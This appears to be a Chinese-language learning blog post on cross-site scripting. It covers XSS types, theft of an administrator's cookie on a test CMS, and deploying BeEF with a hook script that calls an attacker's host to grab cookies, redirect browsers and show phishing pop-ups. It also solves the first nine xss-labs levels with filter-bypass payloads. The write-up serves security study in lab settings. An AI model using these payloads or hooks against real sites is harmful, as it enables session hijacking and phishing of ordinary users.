MENU

xss学习

March 5, 2022 • Read: 532 • CTFer,Web

xss学习

原理

XSS的原理是WEB应用程序混淆了用户提交的数据和JS脚本的代码边界,导致浏览器把用户的输入当成了JS代码来执行。XSS的攻击对象是浏览器一端的普通用户。

代码演示:

<?php
$xss=$_GET['x'];
echo $xss;
?>

当浏览器显示的内容收到用户控制时,并且没有被过滤,那么将一段js代码放入参数中,浏览器就会自动执行,xss便是这样。xss的危害取决于js能够干什么
2022-03-01-09-14-06.png

危害

  1. 盗取各类用户帐号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马
  7. 控制受害者机器向其它网站发起攻击

实战利用点

  1. 订单在线提交页面
  2. 留言板

分类

反射型xss

原理:请求x= ->xx.php ->响应回显
反射型XSS,又称非持久型XSS。也就是攻击相当于受害者而言是一次性的,只有请求或者达到特定条件才会触发一次,具体表现在受害者点击了含有的恶意JavaScript脚本的url,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行响应的脚本。
2022-03-01-09-36-33.png
利用:

存储型xss

原理:请求x= ->xx.php ->写进数据库 ->从数据库取出 ->xx.php ->响应回显
存储型XSS,也就是持久型XSS。攻击者上传的包含恶意js脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意js脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这种攻击类型一般常见在博客、论坛等网站中。如pikachu靶场中这个留言板,1下面的就是插入的js代码,每当有人查看留言板一次,那么就会触发一次js代码执行,危害很大。
2022-03-01-09-42-37.png
利用:

DOM型xss

原理:请求x= ->本地浏览器前端代码执行 ->xx.php ->回显
DOM,全称是Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构和样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,而且不需要与服务器进行交互。客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。和反射型最明显的区别就是可以直接在浏览器查看到对于变量处理的全过程,其实也属于一个反射型xss
2022-03-01-09-53-44.png
利用:

Cookie与session的区别

Cookie 和 Session都是用来跟踪浏览器用户身份的会话方式,但是两者的应用场景不太一样。Cookie 一般用来保存用户信息 比如
①我们在 Cookie 中保存已经登录过得用户信息,下次访问网站的时候页面可以自动帮你填写登录的一些基本信息;
②一般的网站都会有保持登录也就是说下次你再访问网站的时候就不需要重新登录了,这是因为用户登录的时候我们可以存放了一个 Token 在 Cookie 中,下次登录的时候只需要根据 Token 值来查找用户即可(为了安全考虑,重新登录一般要将 Token 重写);
③登录一次网站后访问网站其他页面不需要重新登录。Session 的主要作用就是通过服务端记录用户的状态。典型的场景是购物车,当你要添加商品到购物车的时候,系统不知道是哪个用户操作的,因为 HTTP 协议是无状态的。服务端给特定的用户创建特定的Session 之后就可以标识这个用户并且跟踪这个用户了。Cookie 数据保存在客户端(浏览器端),Session 数据保存在服务器端。Cookie 存储在客户端中,而Session存储在服务器上,相对来说 Session 安全性更高。如果使用 Cookie的一些敏感信息不要写入 Cookie 中,最好能将 Cookie 信息加密然后使用到的时候再去服务器端解密。

搭建环境测试获取管理员cookie

源码:http://js.down.chinaz.com/201202/jfdd_v2.0.zip 建议使用虚拟机测试
使用环境php5 ,否则会报错

  1. 使用<script>alert(1)</script>测试发现,后台直接成功
    2022-03-03-11-04-58.png
  2. 使用xss平台获取cookie
    2022-03-03-11-06-17.png
  3. 登录后台发现第三方xss已经将cookie带出去了
    2022-03-03-11-08-34.png

xss平台也收到了信息
2022-03-03-11-09-38.png

  1. 使用cookie登录管理员平台,有些可以直接在浏览器用cookie设置登录,但有些不可以,这里使用postman平台进行测试,可以看到错误的cookie返回的是错误页面
    2022-03-03-12-08-49.png

加上获取到的cookie,可以看出成功登录(注意这里不要退出原来的登录,否则cookie会刷新则会返回错误的信息)
2022-03-03-12-33-05.png

使用beef-xss

docker部署完整教程
  1. docker pull ubuntu拉取一个最新的镜像
  2. docker run -it ubuntu /bin/bash 启动并进入该容器
  3. 进入容器后
  • apt-get update更新源
  • apt-get install git安装git
  • apt-get install ruby 安装ruby
  • git clone https://github.com/beefproject/beef.git拉取官方最新的beef
  • 进入beef目录,并执行install脚本 ./install
  • 若途中遇到"/install: line 212: 295 Killed bundle${RUBYSUFFIX} install",可以把install目录中的sudo xxx update --system进行删除
  • 接着可以还会遇到"Installing unf_ext 0.0.8 with native extensions
    Killed" 等信息,这里可以直接使用这条命令安装gem install unf_ext -v '0.0.7.4' --source 'https://rubygems.org/' 然后再执行./install即可,这个反正类似上面的kill装不上报错的都可以使用这条命令直接安装,安装完成之后就可以了
  1. beef安装完成之后需要的一些设置,
  • 修改config.yaml中的默认账户和密码
  • 在工作目录新建beef.sh cd可以直接切换到工作目录。
#!/bin/bash
cd beef
bash beef
  1. exit退出容器,docker ps -a 记住刚才创建的容器id,然后进行镜像更新
  2. docker commit -m="has update" -a="作者名字" 容器id aw/beef:v2
  3. 最后使用docker run --name beef -d -p 3000:3000 aw/beef:v2 bash beef.sh即可成功部署
  4. docker镜像备份导出 docker save -o ./<tar name that you wanted docker to create> <imgID>使用这个可以会报open .docker_temp_983829769: permission denied。
  5. 那么可以使用后docker save 6d994c3c5d97 > beef.tar可以正常导出
beef的简单使用
  1. 在存在xss漏洞的地方写入<script src="http://ip:3000/hook.js"></script>
  2. 管理员查看后就可以触发, logs是操作的日志,commands可以进行操作。
    2022-03-04-14-00-26.png
  3. 使用hooked domain里的get cookie获取cookie
    2022-03-04-14-25-34.png
  4. 网页重定向 Browser—>Hooked Domain —>Redirect Browser,然后点击右下角的Execute,然后用户的浏览器的该页面就会跳转到百度的页面了。
  5. 社工弹窗 点击Social Engiineering——>Pretty Theft
    2022-03-04-14-44-47.png

2022-03-04-14-46-06.png

更多使用请看

HttpOnly

如果HTTP响应头中包含HttpOnly标志,只要浏览器支持HttpOnly标志,客户端脚本(js)就无法访问cookie。因此,即使存在跨站点脚本(XSS)缺陷,且用户意外访问利用此漏洞的链接,浏览器也不会向第三方透露cookie。如果浏览器不支持HttpOnly并且网站尝试设置HttpOnly cookie,浏览器会忽略HttpOnly标志,从而创建一个传统的,脚本可访问的cookie。
2022-03-04-09-47-46.png
若是发现有httpONLY也可以使用表单劫持。

xss-labs靶场记录

phpstudy 搭建 使用php7,使用php5会有问题
源码:https://github.com/do0dl3/xss-labs

第一关

  1. 参数name直接写入xss
    2022-03-04-19-32-43.png

第二关

  1. 直接写入发现没有显示,搜索提交表单的地方,发现被引号过滤了
  2. 使用"><script>alert(1)</script> 将其闭合
    2022-03-04-19-36-31.png

第三关

  1. 直接使用第二关的payload,发现不行。查看网页源代码
    原来这两处都将<、>这样的敏感字符编码成了html字符实体。猜测服务器端在这两处都用htmlspecialchars()函数进行了处理。既然关键的<>字符被编码了

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:简单的说就是单引号不会被过滤

  • & (和号)成为 &amp;
  • " (双引号)成为 &quot;
  • ' (单引号)成为 '
  • < (小于)成为 &lt;
  • >(大于)成为 &gt;
    2022-03-04-20-17-56.png

这可以使用不含script标签的,比如各种js事件
更多的事件可参考:https://www.runoob.com/tags/ref-eventattributes.html
如鼠标移动事件 'onmousemove='alert(1)当鼠标移动到元素时可以触发
或者'onfocus=javascript:alert('xss')
2022-03-04-20-38-35.png

第四关

跟第三关一样,闭合方式改回双引号" onclick=" alert(1)

第五关

简单尝试,发现把on会过滤,改为o_n,这里使用a标签,
"> <a href="javascript:alert(1)">

第六关

源码

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

分析:

  1. 尝试发下href也被过滤了
    2022-03-05-08-51-17.png
  2. 查看源码,对于输入并没有大小写过滤发现可以使用大小写绕过
    "> <a href="javascript:alert(1)">

第七关

源码

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

分析:

  1. 查看源码,输入都被转成小写了,发现可以使用双写绕过
    "> <sscriptcript>alert(1)<sscriptcript>

第八关

源码

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

分析:

  1. 查看源码大小写被过滤了,字符串替换也不能使用双写绕过
  2. 使用Unicode编码绕过
    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

源码

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }

分析:

  1. 查看源码,strpos()查找 "php" 在字符串中第一次出现的位置,并且包含大小写。则必须含有http://
  2. 使用Unicode编码绕过, 外加// http://
    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; // http://

xss自动化工具使用XSStrike

  1. git clone https://github.com/s0md3v/XSStrike.git
  2. cd XSStrike
  3. pip install -r requirements.txt
  4. https://github.com/s0md3v/XSStrike/wiki/Usage 详细用法
Last Modified: March 6, 2022
Leave a Comment

本站总访问量 32679 次